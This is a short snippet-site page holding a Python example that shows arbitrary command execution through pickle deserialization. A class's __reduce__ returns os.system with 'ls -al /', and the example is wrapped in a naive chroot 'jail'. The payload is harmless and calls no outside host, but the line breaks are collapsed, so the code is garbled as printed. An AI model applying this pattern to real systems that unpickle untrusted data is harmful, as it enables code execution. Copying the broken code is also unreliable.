📜  testo - 任何代码示例

📅  最后修改于: 2022-03-11 14:59:39.092000             🧑  作者: Mango

代码示例1
import osimport picklefrom contextlib import contextmanager class ShellExploit(object):    def __reduce__(self):        # this will list contents of root / folder.        return (os.system, ('ls -al /',)) @contextmanagerdef system_jail():    """ A simple chroot jail """        os.chroot('Sample jail/')    yield    os.chroot('/')        def serialize():    with system_jail():        shellcode = pickle.dumps(ShellExploit())        return shellcode def deserialize(exploit_code):    with system_jail():        pickle.loads(exploit_code) if __name__ == '__main__':    shellcode = serialize()    deserialize(shellcode)